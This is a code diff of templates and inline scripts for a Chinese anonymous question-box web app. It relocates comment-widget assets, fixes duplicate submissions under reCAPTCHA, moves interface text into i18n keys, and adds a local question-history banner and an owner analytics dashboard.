pending.delete(input);
return;
}
var job = reencode(file).then(function (out) {
if (out !== file) swap(input, out);
});
pending.set(input, job);
// 无论成功失败都清掉,避免下一次提交白等一个已完成的 Promise。
job.then(function () {
if (pending.get(input) === job) pending.delete(input);
});
});
}
function scan(root) {
(root || document).querySelectorAll('input[type="file"]').forEach(bind);
}
scan(document);
// 后插入的表单(如「点击回答」后展开的编辑器)不会触发上面的扫描,
// 用 MutationObserver 兜住;只在新增节点里找 input,开销可以忽略。
if (window.MutationObserver) {
new MutationObserver(function (records) {
records.forEach(function (r) {
Array.prototype.forEach.call(r.addedNodes, function (node) {
if (node.nodeType !== 1) return;
if (node.matches && node.matches('input[type="file"]')) bind(node);
if (node.querySelectorAll) scan(node);
});
});
}).observe(document.documentElement, { childList: true, subtree: true });
}
// 兜底:极少数情况下用户选完图立刻提交(压缩还没跑完)。
// capture 阶段先拦下,等压缩结束再真正提交 —— 用 form.submit() 而不是
// 再走一次 submit 事件,天然避开死循环,也不会二次触发上面的防重复逻辑。
document.addEventListener('submit', function (e) {
var form = e.target;
if (!form || form.tagName !== 'FORM') return;
var waits = [];
form.querySelectorAll('input[type="file"]').forEach(function (input) {
var job = pending.get(input);
if (job) waits.push(job);
});
if (!waits.length) return;
e.preventDefault();
Promise.all(waits).then(function () {
if (window.tbBeginSubmit) window.tbBeginSubmit(form, e.submitter || null);
form.submit();
});
}, true);
})();
</script>
</body>
</html>
+16 -5
View File
@@ -24,11 +24,9 @@
<link rel="stylesheet" href="/static/css/base.css?v={{ .StaticVersion }}"/>
{{ if .ThemeSlug }}<!-- 箱主主题:只覆盖配色/图案/页面背景,不涉及布局;仅提问箱相关页面加载 -->
<link rel="stylesheet" href="/static/css/themes/{{ .ThemeSlug }}.css?v={{ .StaticVersion }}"/>{{ end }}
<!-- Waline 评论区样式:非阻塞加载,不阻塞首屏渲染 -->
<link rel="stylesheet" href="https://r2.337845818.best/tamabox/cdn/waline/client/v2/waline-no-commits.css" media="print" onload="this.media='all'"/>
<script defer src="https://cdnjs.snrat.com/ajax/libs/uikit/3.3.3/js/uikit.min.js"></script>
<script defer src="https://cdnjs.snrat.com/ajax/libs/uikit/3.3.3/js/uikit-icons.min.js"></script>
<!-- dayjs/alpinejs/vconsole/waline.js 已迁 cdnjs.snrat.com(sha256 与官方一致,国内实测快 2-7x) -->
<!-- dayjs/alpinejs/vconsole 已迁 cdnjs.snrat.com(sha256 与官方一致,国内实测快 2-7x) -->
<script defer src="https://cdnjs.snrat.com/ajax/libs/dayjs/1.10.8/dayjs.min.js"></script>
<script defer src="https://cdnjs.snrat.com/ajax/libs/alpinejs/3.9.0/cdn.min.js"></script>
{{ if .VConsole }}
@@ -36,7 +34,6 @@
<script>new window.VConsole()</script>
{{ end }}
<!-- jQuery 已改为按需加载:仅 easy.qrcode 二维码页(list/question-not-found/profile)自行引入 -->
<script defer src="https://cdnjs.snrat.com/ajax/libs/waline/2.15.8/waline.js"></script>
{{ if eq .CaptchaType "math" }}
<!-- 算数验证码:弹窗模式,不影响原布局 -->
<style>
@@ -105,7 +102,21 @@
}</script>
{{ else }}
<script src="{{.RecaptchaDomain}}/recaptcha/api.js" async defer></script>
<script>function onSubmit() {document.getElementById('form').submit();}</script>
<script>
// reCAPTCHA v3 回调:拿到 token 后手动提交表单。
//
// 程序化 submit() **不触发 submit 事件**,所以 footer 里那个全局监听器
// (禁用按钮 + 转圈)对它完全无效 —— 而默认配置 captcha_type = recaptcha 时,
// 这就是主提问流的提交路径,等于一直没有防重复点击。
// 这里先显式切到「提交中」再 submit。tbBeginSubmit 定义在 footer.html,
// 脚本顺序在本文件之后;回调发生在用户点击之后,那时它已就绪,仍做一次判空兜底。
function onSubmit() {
var f = document.getElementById('form');
if (!f) return;
if (window.tbBeginSubmit) { window.tbBeginSubmit(f, null); }
f.submit();
}
</script>
{{ end }}
{{ if ne SentryDSN "" }}
<script
+3
View File
@@ -169,6 +169,9 @@
</ul>
</details>
<!-- 评论区资源只在本页加载(此前挂在 header 里,等于每页都下载 ~200KB 的 waline.js) -->
<link rel="stylesheet" href="https://r2.337845818.best/tamabox/cdn/waline/client/v2/waline-no-commits.css" media="print" onload="this.media='all'"/>
<script defer src="https://cdnjs.snrat.com/ajax/libs/waline/2.15.8/waline.js"></script>
<div id="waline"></div>
<script>
document.addEventListener('DOMContentLoaded', function () {
+5 -5
View File
@@ -4,7 +4,7 @@
<div data-qid="{{$elem.ID}}">
<hr>
<a class="uk-button uk-button-default uk-button-small uk-float-right"
href="/_/{{$.PageUser.Domain}}/{{$elem.ID}}">查看回答</a>
href="/_/{{$.PageUser.Domain}}/{{$elem.ID}}">{{t $.LangCode "qlist.viewAnswer"}}</a>
<div class="uk-text-left uk-text-small uk-text-muted">
{{if $elem.IsPinned}}<span class="tb-pin-flag" title="{{t $.LangCode "ask.pinned"}}">⭐</span>{{end}}
{{Date $elem.CreatedAt "Y-m-d H:i:s"}}
@@ -58,7 +58,7 @@
<div>
<hr>
<a class='uk-button uk-button-default uk-button-small uk-float-right'
href='/_/{{.PageUser.Domain}}/${question.id}'>查看回答</a>
href='/_/{{.PageUser.Domain}}/${question.id}'>{{t .LangCode "qlist.viewAnswer"}}</a>
<div class='uk-text-left uk-text-small uk-text-muted'>
${question.is_pinned ? '<span class=\'tb-pin-flag\' title=\'{{$pinTitle}}\'>⭐</span>' : ''}
${dayjs(question.created_at).format('YYYY-MM-DD HH:mm:ss')}
@@ -72,12 +72,12 @@
// 网络失败/响应非法 JSON 时复位 loading,避免按钮永远停留在加载中状态
.catch(() => { loading = false })
}" class="uk-button uk-button-default uk-width-1-1 uk-margin-small-bottom">
<span x-show="!loading">加载更多</span>
<span x-show="loading"><div uk-spinner="ratio: 0.8"></div> 加载中...</span>
<span x-show="!loading">{{t .LangCode "qlist.loadMore"}}</span>
<span x-show="loading"><div uk-spinner="ratio: 0.8"></div> {{t .LangCode "qlist.loading"}}</span>
</button>
<div x-show="!more" class="uk-text-meta uk-text-center">
<hr>
无更多留言
{{t .LangCode "qlist.noMore"}}
<br><br>
</div>
</div>
+5 -2
View File
@@ -78,7 +78,7 @@
{{ range $index, $elem := .AskUploadImages }}
<div uk-lightbox>
<a href="https://{{ ImageBucketCDNHost }}/{{ $elem.Key }}">
<img class="uk-border-rounded uk-object-fill" src="https://{{ ImageBucketCDNHost }}/{{ $elem.Key }}" width="100" height="100" alt="">
<img class="uk-border-rounded uk-object-fill" src="https://{{ ImageBucketCDNHost }}/{{ $elem.Key }}" width="100" height="100" alt="" loading="lazy">
</a>
</div>
{{ end }}
@@ -96,7 +96,7 @@
{{ range $index, $elem := .AnswerUploadImages }}
<div uk-lightbox>
<a href="https://{{ ImageBucketCDNHost }}/{{ $elem.Key }}">
<img class="uk-border-rounded uk-object-fill" src="https://{{ ImageBucketCDNHost }}/{{ $elem.Key }}" width="100" height="100" alt="">
<img class="uk-border-rounded uk-object-fill" src="https://{{ ImageBucketCDNHost }}/{{ $elem.Key }}" width="100" height="100" alt="" loading="lazy">
</a>
</div>
{{ end }}
@@ -147,6 +147,9 @@
{{ end }}
</div>
{{ if not .CanDelete }}
<!-- 评论区资源只在本页加载(此前挂在 header 里,等于每页都下载) -->
<link rel="stylesheet" href="https://r2.337845818.best/tamabox/cdn/waline/client/v2/waline-no-commits.css" media="print" onload="this.media='all'"/>
<script defer src="https://cdnjs.snrat.com/ajax/libs/waline/2.15.8/waline.js"></script>
<div id="waline"></div>
<script>
document.addEventListener('DOMContentLoaded', function () {
+217
View File
@@ -92,6 +92,57 @@
border-color: var(--tb-border);
background: var(--tb-surface-2);
}
/* 提问历史提示条:仅在本机存有该箱提问记录时出现,不占固定位置、不遮挡内容 */
.tb-ask-history {
margin-bottom: 18px;
padding: 12px 14px;
border: 1px solid var(--tb-border);
border-radius: 10px;
background: var(--tb-surface);
}
.tb-ask-history-bar {
display: flex;
align-items: center;
justify-content: space-between;
gap: 12px;
}
.tb-ask-history-text { font-size: var(--tb-fs-md); color: var(--tb-text); }
.tb-ask-history-bar .uk-button-text { flex: 0 0 auto; color: var(--tb-primary); }
.tb-ask-history-list {
margin: 12px 0 0;
padding: 0;
list-style: none;
display: grid;
gap: 2px;
}
.tb-ask-history-item {
display: flex;
align-items: center;
justify-content: space-between;
gap: 12px;
padding: 8px 0;
border-top: 1px solid var(--tb-border);
text-decoration: none;
}
.tb-ask-history-item:hover .tb-ask-history-excerpt { color: var(--tb-primary); }
.tb-ask-history-excerpt {
min-width: 0;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
font-size: var(--tb-fs-md);
color: var(--tb-text);
}
.tb-ask-history-meta { display: flex; align-items: center; gap: 8px; flex: 0 0 auto; }
.tb-ask-history-state { font-size: var(--tb-fs-xs); white-space: nowrap; }
.tb-ask-history-state.is-answered { color: #19a974; }
.tb-ask-history-state.is-pending { color: var(--tb-text-muted); }
.tb-ask-history-note {
margin: 10px 0 0;
font-size: var(--tb-fs-xs);
color: var(--tb-text-muted);
}
html[data-theme="dark"] .profile-tab { color: var(--tb-text-muted); }
html[data-theme="dark"] .profile-tab.is-active { background: var(--tb-surface); color: var(--tb-primary); }
html[data-theme="dark"] .profile-tab.is-disabled { color: var(--tb-text-muted); opacity: 0.55; }
@@ -248,6 +299,16 @@ document.getElementById("introcolor").style.color = "{{.PageUser.Introcolor}}";
{{ end }}
{{template "base/alert" .}}
<!-- 提问者找回自己的提问:只有本机 localStorage 里存着本箱记录时才由脚本显示 -->
<div id="tb-ask-history" class="tb-ask-history" hidden>
<div class="tb-ask-history-bar">
<span class="tb-ask-history-text" id="tb-ask-history-text"></span>
<button type="button" id="tb-ask-history-toggle" class="uk-button uk-button-text uk-button-small uk-padding-remove" aria-expanded="false"></button>
</div>
<ul class="tb-ask-history-list" id="tb-ask-history-list" hidden></ul>
<p class="tb-ask-history-note">{{ t .LangCode "askHistory.note" }}</p>
</div>
<!-- 提问 / 投票 切换:默认显示提问,支持 ?tab=votes 直达(服务端初始态)与 #votes hash 覆盖 -->
<div class="profile-tabs" role="tablist">
<button type="button" class="profile-tab{{ if eq .ActiveProfileTab "questions" }} is-active{{ end }}" data-profile-tab="questions" role="tab" aria-selected="{{ if eq .ActiveProfileTab "questions" }}true{{ else }}false{{ end }}">{{t .LangCode "explore.questionsTab"}}</button>
@@ -321,4 +382,160 @@ document.addEventListener('DOMContentLoaded', function() {
}
});
</script>
<script>
// 提问者找回自己的提问。
//
// 记录由「提问成功页」写进本机 localStorage(见 question/success.html),
// 这里只负责:有记录就显示一条提示,并问服务端哪些已经被回答。
// 服务端只做「你给的这个 token 对不对」的常数时间比对,不建任何访客档案。
(function () {
var KEY = 'tb_ask_history_v1';
var DOMAIN = '{{ .PageUser.Domain }}';
var CSRF = '{{ .CSRFToken }}';
var box = document.getElementById('tb-ask-history');
if (!box) return;
var I18N = {
banner: '{{ t .LangCode "askHistory.banner" | js }}',
answeredSuffix: '{{ t .LangCode "askHistory.answeredSuffix" | js }}',
expand: '{{ t .LangCode "askHistory.expand" | js }}',
collapse: '{{ t .LangCode "askHistory.collapse" | js }}',
answered: '{{ t .LangCode "askHistory.answered" | js }}',
pending: '{{ t .LangCode "askHistory.pending" | js }}',
open: '{{ t .LangCode "askHistory.open" | js }}'
};
function readAll() {
try {
var v = JSON.parse(localStorage.getItem(KEY) || '[]');
return Array.isArray(v) ? v : [];
} catch (e) {
return [];
}
}
function writeAll(list) {
try { localStorage.setItem(KEY, JSON.stringify(list)); } catch (e) {}
}
var mine = readAll().filter(function (x) {
return x && x.d === DOMAIN && x.id && x.t;
});
if (!mine.length) return;
var textEl = document.getElementById('tb-ask-history-text');
var toggleEl = document.getElementById('tb-ask-history-toggle');
var listEl = document.getElementById('tb-ask-history-list');
function renderTitle(answered) {
var t = I18N.banner.replace('{n}', mine.length);
if (answered > 0) t += I18N.answeredSuffix.replace('{m}', answered);
textEl.textContent = t;
}
renderTitle(0);
box.hidden = false;
toggleEl.textContent = I18N.expand;
toggleEl.addEventListener('click', function () {
var expanded = toggleEl.getAttribute('aria-expanded') === 'true';
toggleEl.setAttribute('aria-expanded', expanded ? 'false' : 'true');
listEl.hidden = expanded;
toggleEl.textContent = expanded ? I18N.expand : I18N.collapse;
});
// 问服务端哪些已被回答。失败就只显示本地记录(不带状态),不影响主流程。
fetch('/api/v1/ask-status', {
method: 'POST',
headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': CSRF },
credentials: 'same-origin',
body: JSON.stringify({
domain: DOMAIN,
items: mine.map(function (x) { return { id: x.id, token: x.t }; })
})
}).then(function (r) {
return r.ok ? r.json() : null;
}).then(function (payload) {
var items = (payload && payload.data && payload.data.items) || [];
var byId = {};
items.forEach(function (it) { byId[it.id] = it; });
// 服务端说 token 无效(提问被删、或记录过期):从本地清掉,避免一直挂着死链
var stale = items.filter(function (it) { return !it.ok; }).map(function (it) { return it.id; });
if (stale.length) {
mine = mine.filter(function (x) { return stale.indexOf(x.id) === -1; });
var all = readAll().filter(function (x) {
return !(x && x.d === DOMAIN && stale.indexOf(x.id) !== -1);
});
writeAll(all);
if (!mine.length) { box.hidden = true; return; }
}
var answered = 0;
mine.forEach(function (x) {
var st = byId[x.id];
if (st && st.answered) answered++;
});
renderTitle(answered);
mine.sort(function (a, b) { return (b.ts || 0) - (a.ts || 0); });
listEl.textContent = '';
mine.forEach(function (x) {
var st = byId[x.id] || {};
var a = document.createElement('a');
a.className = 'tb-ask-history-item';
a.href = '/_/' + encodeURIComponent(DOMAIN) + '/' + x.id +
'?t=' + encodeURIComponent(x.t);
var left = document.createElement('span');
left.className = 'tb-ask-history-excerpt';
// textContent:摘要来自用户自己的提问,但仍然不走 innerHTML
left.textContent = (st.excerpt || ('#' + x.id)) +
(st.created ? ' · ' + new Date(st.created * 1000).toLocaleDateString() : '');
var right = document.createElement('span');
right.className = 'tb-ask-history-meta';
var state = document.createElement('span');
state.className = 'tb-ask-history-state ' + (st.answered ? 'is-answered' : 'is-pending');
state.textContent = st.answered ? I18N.answered : I18N.pending;
var go = document.createElement('span');
go.className = 'tb-ask-history-open';
go.textContent = I18N.open;
right.appendChild(state);
right.appendChild(go);
a.appendChild(left);
a.appendChild(right);
var li = document.createElement('li');
li.appendChild(a);
listEl.appendChild(li);
});
}).catch(function () {
// 网络失败:仍然把本地记录列出来(没有状态标签),链接照样能打开
mine.sort(function (a, b) { return (b.ts || 0) - (a.ts || 0); });
listEl.textContent = '';
mine.forEach(function (x) {
var a = document.createElement('a');
a.className = 'tb-ask-history-item';
a.href = '/_/' + encodeURIComponent(DOMAIN) + '/' + x.id +
'?t=' + encodeURIComponent(x.t);
var left = document.createElement('span');
left.className = 'tb-ask-history-excerpt';
left.textContent = '#' + x.id;
var right = document.createElement('span');
right.className = 'tb-ask-history-meta';
var go = document.createElement('span');
go.className = 'tb-ask-history-state is-pending';
go.textContent = I18N.open;
right.appendChild(go);
a.appendChild(left);
a.appendChild(right);
var li = document.createElement('li');
li.appendChild(a);
listEl.appendChild(li);
});
});
})();
</script>
{{template "base/footer" .}}
+1 -1
View File
@@ -98,7 +98,7 @@ document.getElementById("introcolor").style.color = {{.PageUser.Introcolor}};
<hr class="uk-divider-icon">
{{ if ne (len .PageQuestions) 0 }}
<p class="uk-text-left uk-text-muted uk-text-small">@{{ .PageUser.Name }} 以前回答过的问题 ({{ .AnsweredCount }})</p>
<p class="uk-text-left uk-text-muted uk-text-small">{{t .LangCode "ask.history" .PageUser.Name}} ({{ .AnsweredCount }})</p>
{{ template "question/history-template" . }}
{{ end }}
</div>
+27
View File
@@ -36,6 +36,33 @@
<script>
document.addEventListener('DOMContentLoaded', function () {
// 把这提问记到本机,方便以后回来查回答。
//
// 动机:不填邮箱时,唯一能追踪这条提问的东西就是上面那条链接。
// 关掉页面、链接冲掉了,就永久失联 —— 箱主认真答了,提问者永远不知道。
// 记录只放在这台设备的 localStorage,不上传、不建访客档案;
// 换设备或清浏览器数据会丢,页面上有说明。
try {
var KEY = 'tb_ask_history_v1';
var list = JSON.parse(localStorage.getItem(KEY) || '[]');
if (!Array.isArray(list)) list = [];
var entry = {
d: '{{ .PageUser.Domain }}',
id: {{ .Question.ID }},
t: '{{ .Question.Token }}',
ts: Date.now()
};
// 同一条提问可能被重复打开成功页:按 domain+id 去重后置顶,最多留 30 条。
list = list.filter(function (x) {
return !(x && x.d === entry.d && x.id === entry.id);
});
list.unshift(entry);
localStorage.setItem(KEY, JSON.stringify(list.slice(0, 30)));
} catch (e) {
// localStorage 被禁用(隐私模式 / 策略)时静默跳过:这条路本来就只是锦上添花,
// 不能因为它让「复制链接」也跟着失败。
}
var input = document.getElementById('private-url-input');
var btn = document.getElementById('copy-btn');
if (!input || !btn) return;
+2 -2
View File
@@ -374,7 +374,7 @@
<div class="uk-card uk-card-default uk-card-hover uk-card-body">
<div class="uk-flex uk-flex-top">
<div>
<img class="explore-avatar" src="{{$user.Avatar}}" alt="avatar">
<img class="explore-avatar" src="{{$user.Avatar}}" alt="avatar" loading="lazy">
</div>
<div class="explore-info">
<div class="explore-name truncate">
@@ -587,7 +587,7 @@ document.addEventListener('DOMContentLoaded', function() {
html += `
<div>
<a href="/_/${escapeHTML(user.domain)}" class="recommend-card">
<img class="recommend-avatar" src="${safeAvatarURL(user.avatar)}" alt="avatar">
<img class="recommend-avatar" src="${safeAvatarURL(user.avatar)}" alt="avatar" loading="lazy">
<div class="recommend-info">
<div class="recommend-name truncate">${escapeHTML(user.name)}</div>
<div class="recommend-tags">${tagsHtml}</div>
+445
View File
@@ -0,0 +1,445 @@
{{template "base/header" .}}
{{ $ins := .Insights }}{{ $lang := .LangCode }}
<style>
/* 箱主数据面板:与 /stats 一样只用令牌 + CSS 画图,不引任何图表库。
数字用 tabular-nums 对齐,暗色主题靠 --tb-* 令牌自动跟随。 */
.tb-ins {
font-variant-numeric: tabular-nums;
}
.tb-ins-head {
padding: 4px 2px 14px;
}
.tb-ins-head h2 {
margin: 0;
font-size: var(--tb-fs-xl);
font-weight: 600;
color: var(--tb-text);
}
.tb-ins-head p {
margin: 8px 0 0;
font-size: var(--tb-fs-md);
line-height: 1.7;
color: var(--tb-text-muted);
}
.tb-ins-back {
display: inline-block;
margin-bottom: 10px;
font-size: var(--tb-fs-sm);
color: var(--tb-text-muted);
text-decoration: none;
}
.tb-ins-back:hover { color: var(--tb-primary); }
.tb-card {
background: var(--tb-surface);
border: 1px solid var(--tb-border);
border-radius: var(--tb-radius);
padding: 18px 18px 20px;
margin-bottom: 12px;
}
.tb-card-title {
display: flex;
flex-wrap: wrap;
align-items: baseline;
gap: 8px;
margin: 0 0 4px;
font-size: var(--tb-fs-lg);
font-weight: 600;
color: var(--tb-text);
}
.tb-card-note {
margin: 0 0 16px;
font-size: var(--tb-fs-xs);
line-height: 1.6;
color: var(--tb-text-muted);
}
/* 结论列表 */
.tb-ins-list {
margin: 0;
padding: 0;
list-style: none;
}
.tb-ins-list li {
position: relative;
padding: 6px 0 6px 18px;
font-size: var(--tb-fs-md);
line-height: 1.7;
color: var(--tb-text-secondary);
}
.tb-ins-list li::before {
content: "";
position: absolute;
left: 4px;
top: 14px;
width: 5px;
height: 5px;
border-radius: 50%;
background: var(--tb-primary);
opacity: .55;
}
/* 三组窗口 */
.tb-wins {
display: grid;
grid-template-columns: 1fr;
gap: 10px;
margin-bottom: 12px;
}
@media (min-width: 620px) {
.tb-wins { grid-template-columns: repeat(3, 1fr); }
}
.tb-win {
padding: 14px 14px 16px;
background: var(--tb-surface);
border: 1px solid var(--tb-border);
border-radius: var(--tb-radius-sm);
}
.tb-win-title {
margin: 0 0 10px;
font-size: var(--tb-fs-xs);
letter-spacing: .04em;
color: var(--tb-text-muted);
}
.tb-win-main {
display: flex;
align-items: baseline;
gap: 6px;
}
.tb-win-num {
font-size: 1.75rem;
line-height: 1.1;
font-weight: 700;
color: var(--tb-text);
}
.tb-win-unit {
font-size: var(--tb-fs-xs);
color: var(--tb-text-muted);
}
.tb-win-sub {
display: flex;
flex-wrap: wrap;
gap: 4px 14px;
margin-top: 10px;
font-size: var(--tb-fs-sm);
color: var(--tb-text-secondary);
}
.tb-win-sub b {
font-weight: 600;
color: var(--tb-text);
}
.tb-delta {
font-size: var(--tb-fs-xs);
padding: 1px 6px;
border-radius: 999px;
}
.tb-delta.up { background: var(--tb-primary-weak); color: var(--tb-primary); }
.tb-delta.down { background: var(--tb-surface-2); color: var(--tb-text-muted); }
/* 柱状趋势:每列两个绝对定位的色块,UV 在底部、PV 全高叠在后面 */
.tb-trend {
display: flex;
align-items: flex-end;
gap: 2px;
height: 168px;
margin-top: 4px;
}
.tb-trend-col {
position: relative;
flex: 1 1 0;
min-width: 0;
height: 100%;
}
.tb-trend-pv,
.tb-trend-uv {
position: absolute;
left: 0;
right: 0;
bottom: 0;
border-radius: 2px 2px 0 0;
}
.tb-trend-pv {
background: var(--tb-primary);
opacity: .26;
min-height: 2px;
}
.tb-trend-uv {
background: var(--tb-primary);
opacity: .85;
min-height: 1px;
}
.tb-trend-col.is-today .tb-trend-uv {
outline: 1px solid var(--tb-primary);
}
.tb-trend-col.is-empty .tb-trend-pv { min-height: 2px; opacity: .10; }
.tb-trend-col.is-empty .tb-trend-uv { display: none; }
.tb-axis {
display: flex;
justify-content: space-between;
margin-top: 6px;
font-size: var(--tb-fs-xs);
color: var(--tb-text-muted);
}
.tb-legend {
display: flex;
flex-wrap: wrap;
gap: 6px 16px;
margin-top: 10px;
font-size: var(--tb-fs-xs);
color: var(--tb-text-muted);
}
.tb-legend i {
display: inline-block;
width: 10px;
height: 10px;
margin-right: 5px;
border-radius: 2px;
vertical-align: -1px;
}
/* 时段分布 */
.tb-hours {
display: flex;
align-items: flex-end;
gap: 3px;
height: 108px;
margin-top: 4px;
}
.tb-hour {
flex: 1 1 0;
min-width: 0;
height: 100%;
display: flex;
align-items: flex-end;
}
.tb-hour-bar {
width: 100%;
border-radius: 2px 2px 0 0;
background: var(--tb-primary);
opacity: .55;
min-height: 2px;
}
.tb-hour.is-peak .tb-hour-bar { opacity: 1; }
.tb-hour-axis {
display: flex;
justify-content: space-between;
margin-top: 6px;
font-size: var(--tb-fs-xs);
color: var(--tb-text-muted);
}
/* 漏斗 */
.tb-funnel {
display: grid;
grid-template-columns: repeat(2, 1fr);
gap: 8px;
margin-bottom: 14px;
}
@media (min-width: 560px) {
.tb-funnel { grid-template-columns: repeat(4, 1fr); }
}
.tb-funnel-cell {
padding: 12px 12px 14px;
border: 1px solid var(--tb-border);
border-radius: var(--tb-radius-sm);
background: var(--tb-surface-2);
}
.tb-funnel-num {
display: block;
font-size: 1.25rem;
font-weight: 700;
color: var(--tb-text);
}
.tb-funnel-lbl {
display: block;
margin-top: 4px;
font-size: var(--tb-fs-xs);
color: var(--tb-text-muted);
}
.tb-ratio {
display: flex;
align-items: center;
gap: 10px;
margin-top: 6px;
}
.tb-ratio-track {
flex: 1;
height: 8px;
border-radius: 999px;
background: var(--tb-surface-2);
overflow: hidden;
}
.tb-ratio-fill {
height: 100%;
border-radius: 999px;
background: var(--tb-primary);
}
.tb-ratio-val {
font-size: var(--tb-fs-sm);
font-weight: 600;
color: var(--tb-text);
min-width: 3.5em;
text-align: right;
}
.tb-ratio-lbl {
margin: 12px 0 0;
font-size: var(--tb-fs-xs);
color: var(--tb-text-muted);
}
.tb-empty {
padding: 18px 0;
text-align: center;
font-size: var(--tb-fs-md);
color: var(--tb-text-muted);
}
</style>
<div class="tb-ins uk-container uk-container-small">
<a class="tb-ins-back" href="/user/profile">← {{t $lang "insights.back"}}</a>
<div class="tb-ins-head">
<h2>{{t $lang "insights.heading"}}</h2>
<p>{{t $lang "insights.lead"}}</p>
</div>
{{ if $ins.Conclusions }}
<div class="tb-card">
<h3 class="tb-card-title">{{t $lang "insights.summary"}}</h3>
<ul class="tb-ins-list">
{{ range $ins.Conclusions }}<li>{{ . }}</li>{{ end }}
</ul>
</div>
{{ end }}
{{ if not $ins.HasViews }}
<div class="tb-card">
<div class="tb-empty">{{t $lang "insights.noViews"}}</div>
</div>
{{ end }}
<!-- 三个窗口 -->
<div class="tb-wins">
<div class="tb-win">
<p class="tb-win-title">{{t $lang "insights.today"}}</p>
<div class="tb-win-main">
<span class="tb-win-num">{{ $ins.Today.PV }}</span>
<span class="tb-win-unit">{{t $lang "insights.pv"}}</span>
</div>
<div class="tb-win-sub">
<span>{{t $lang "insights.uv"}} <b>{{ $ins.Today.UV }}</b></span>
<span>{{t $lang "insights.newQuestions"}} <b>{{ $ins.Today.Questions }}</b></span>
</div>
</div>
<div class="tb-win">
<p class="tb-win-title">{{t $lang "insights.week"}}</p>
<div class="tb-win-main">
<span class="tb-win-num">{{ $ins.Week.PV }}</span>
<span class="tb-win-unit">{{t $lang "insights.pv"}}</span>
{{ if $ins.Week.HasDelta }}
{{ if ge $ins.Week.Delta 0.0 }}
<span class="tb-delta up">+{{ printf "%.0f" $ins.Week.Delta }}%</span>
{{ else }}
<span class="tb-delta down">{{ printf "%.0f" $ins.Week.Delta }}%</span>
{{ end }}
{{ end }}
</div>
<div class="tb-win-sub">
<span>{{t $lang "insights.uv"}} <b>{{ $ins.Week.UV }}</b></span>
<span>{{t $lang "insights.newQuestions"}} <b>{{ $ins.Week.Questions }}</b></span>
</div>
</div>
<div class="tb-win">
<p class="tb-win-title">{{t $lang "insights.month"}}</p>
<div class="tb-win-main">
<span class="tb-win-num">{{ $ins.Month.PV }}</span>
<span class="tb-win-unit">{{t $lang "insights.pv"}}</span>
</div>
<div class="tb-win-sub">
<span>{{t $lang "insights.uv"}} <b>{{ $ins.Month.UV }}</b></span>
<span>{{t $lang "insights.newQuestions"}} <b>{{ $ins.Month.Questions }}</b></span>
</div>
</div>
</div>
<!-- 30 天趋势 -->
<div class="tb-card">
<h3 class="tb-card-title">{{t $lang "insights.trendTitle"}}</h3>
<p class="tb-card-note">{{t $lang "insights.trendNote"}}</p>
<div class="tb-trend" role="img" aria-label="{{t $lang "insights.trendTitle"}}">
{{ range $ins.Days }}
<div class="tb-trend-col{{ if .IsToday }} is-today{{ end }}{{ if .IsEmpty }} is-empty{{ end }}"
title="{{ .Label }} · {{ .PV }} / {{ .UV }} / {{ .Questions }}">
<div class="tb-trend-pv" style="height: {{ .PVHeight }}%"></div>
<div class="tb-trend-uv" style="height: {{ .UVHeight }}%"></div>
</div>
{{ end }}
</div>
<div class="tb-axis">
{{ range $i, $d := $ins.Days }}{{ if or (eq $i 0) (eq $i 9) (eq $i 19) (eq $i 29) }}<span>{{ $d.Label }}</span>{{ end }}{{ end }}
</div>
<div class="tb-legend">
<span><i style="background: var(--tb-primary); opacity: .26"></i>{{t $lang "insights.legendPV"}}</span>
<span><i style="background: var(--tb-primary)"></i>{{t $lang "insights.legendUV"}}</span>
<span>{{t $lang "insights.legendHover"}}</span>
</div>
</div>
<!-- 时段分布 -->
<div class="tb-card">
<h3 class="tb-card-title">{{t $lang "insights.hourTitle"}}</h3>
<p class="tb-card-note">{{t $lang "insights.hourNote"}}</p>
<div class="tb-hours">
{{ range $ins.Hours }}
<div class="tb-hour{{ if and (eq .Hour $ins.PeakHour) (gt $ins.PeakHourN 0) }} is-peak{{ end }}"
title="{{ printf "%02d:00" .Hour }} · {{ .N }}">
<div class="tb-hour-bar" style="height: {{ .Height }}%"></div>
</div>
{{ end }}
</div>
<div class="tb-hour-axis">
<span>00</span><span>06</span><span>12</span><span>18</span><span>23</span>
</div>
</div>
<!-- 处理漏斗 -->
<div class="tb-card">
<h3 class="tb-card-title">{{t $lang "insights.funnelTitle"}}</h3>
<p class="tb-card-note">{{t $lang "insights.funnelNote"}}</p>
<div class="tb-funnel">
<div class="tb-funnel-cell">
<span class="tb-funnel-num">{{ $ins.Funnel.Total }}</span>
<span class="tb-funnel-lbl">{{t $lang "insights.funnelTotal"}}</span>
</div>
<div class="tb-funnel-cell">
<span class="tb-funnel-num">{{ $ins.Funnel.Answered }}</span>
<span class="tb-funnel-lbl">{{t $lang "insights.funnelAnswered"}}</span>
</div>
<div class="tb-funnel-cell">
<span class="tb-funnel-num">{{ $ins.Funnel.ReadOnly }}</span>
<span class="tb-funnel-lbl">{{t $lang "insights.funnelReadOnly"}}</span>
</div>
<div class="tb-funnel-cell">
<span class="tb-funnel-num">{{ $ins.Funnel.Unread }}</span>
<span class="tb-funnel-lbl">{{t $lang "insights.funnelUnread"}}</span>
</div>
</div>
<div class="tb-ratio">
<span class="tb-ratio-val">{{ $ins.AnswerRateText }}%</span>
<div class="tb-ratio-track">
<div class="tb-ratio-fill" style="width: {{ $ins.AnswerRate }}%"></div>
</div>
</div>
<p class="tb-ratio-lbl">{{t $lang "insights.answerRate"}}</p>
</div>
<div class="tb-card">
<h3 class="tb-card-title">{{t $lang "insights.privacyTitle"}}</h3>
<p class="tb-card-note" style="margin-bottom:0">{{t $lang "insights.privacyNote"}}</p>
</div>
</div>
{{template "base/footer" .}}
+50 -2
View File
@@ -100,6 +100,44 @@
font-weight: 600;
}
.profile-panel[hidden] { display: none !important; }
/* 数据面板入口卡片 */
.tb-entry {
display: flex;
align-items: center;
gap: 12px;
padding: 12px 16px;
margin-bottom: 14px;
border: 1px solid var(--tb-border);
border-left: 3px solid var(--tb-primary);
border-radius: var(--tb-radius-sm);
background: var(--tb-surface);
text-decoration: none;
transition: border-color .2s ease, background .2s ease;
}
.tb-entry:hover {
background: var(--tb-primary-weak);
text-decoration: none;
}
.tb-entry-body {
display: flex;
flex-direction: column;
gap: 2px;
min-width: 0;
}
.tb-entry-title {
font-size: var(--tb-fs-md);
font-weight: 600;
color: var(--tb-text);
}
.tb-entry-desc {
font-size: var(--tb-fs-xs);
color: var(--tb-text-muted);
}
.tb-entry-arrow {
margin-left: auto;
